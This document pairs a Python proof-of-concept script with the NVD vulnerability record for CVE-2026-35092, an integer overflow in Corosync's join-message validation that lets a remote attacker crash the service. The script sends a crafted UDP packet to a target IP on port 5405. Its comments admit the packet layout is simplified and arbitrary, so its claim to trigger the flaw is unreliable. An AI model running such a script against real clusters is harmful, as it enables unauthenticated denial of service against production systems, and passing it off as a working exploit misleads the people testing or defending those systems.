CVE-2026-35092

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 5405 # Default Corosync port def send_exploit(): """ Sends a crafted UDP packet to trigger the integer overflow in Corosync's join message validation. """ try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a malicious payload. # This payload simulates a join message with a malformed length field # intended to trigger the integer overflow vulnerability. # Note: Actual packet structure depends on the specific Corosync version. # Example header bytes (simplified for demonstration) header = b'\x00\x01' # Malicious data sequence causing the overflow # Using a large integer to simulate the overflow trigger overflow_trigger = struct.pack('>I', 0xFFFFFFFF) padding = b'A' * 1024 payload = header + overflow_trigger + padding print(f"[+] Sending crafted packet to {TARGET_IP}:{TARGET_PORT}") sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-35092", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:57.237", "lastModified": "2026-05-19T22:16:38.373", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Corosync. An integer overflow vulnerability in Corosync's join message sanity validation allows a remote, unauthenticated attacker to send crafted User Datagram Protocol (UDP) packets. This can cause the service to crash, leading to a denial of service. This vulnerability specifically affects Corosync deployments configured to use totemudp/totemudpu mode."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:corosync:corosync:-:*:*:*:*:*:*:*", "matchCriteriaId": "5008766D-B12C-48F2-A70A-2344860259C2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F7E2F04-474D-4196-9CE8-242642990A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13644", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13657", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13673", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14205", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14210", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14211", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14212", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14213", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14214", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14215", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14216", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19043", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19200", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-35092", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453169", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453814", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}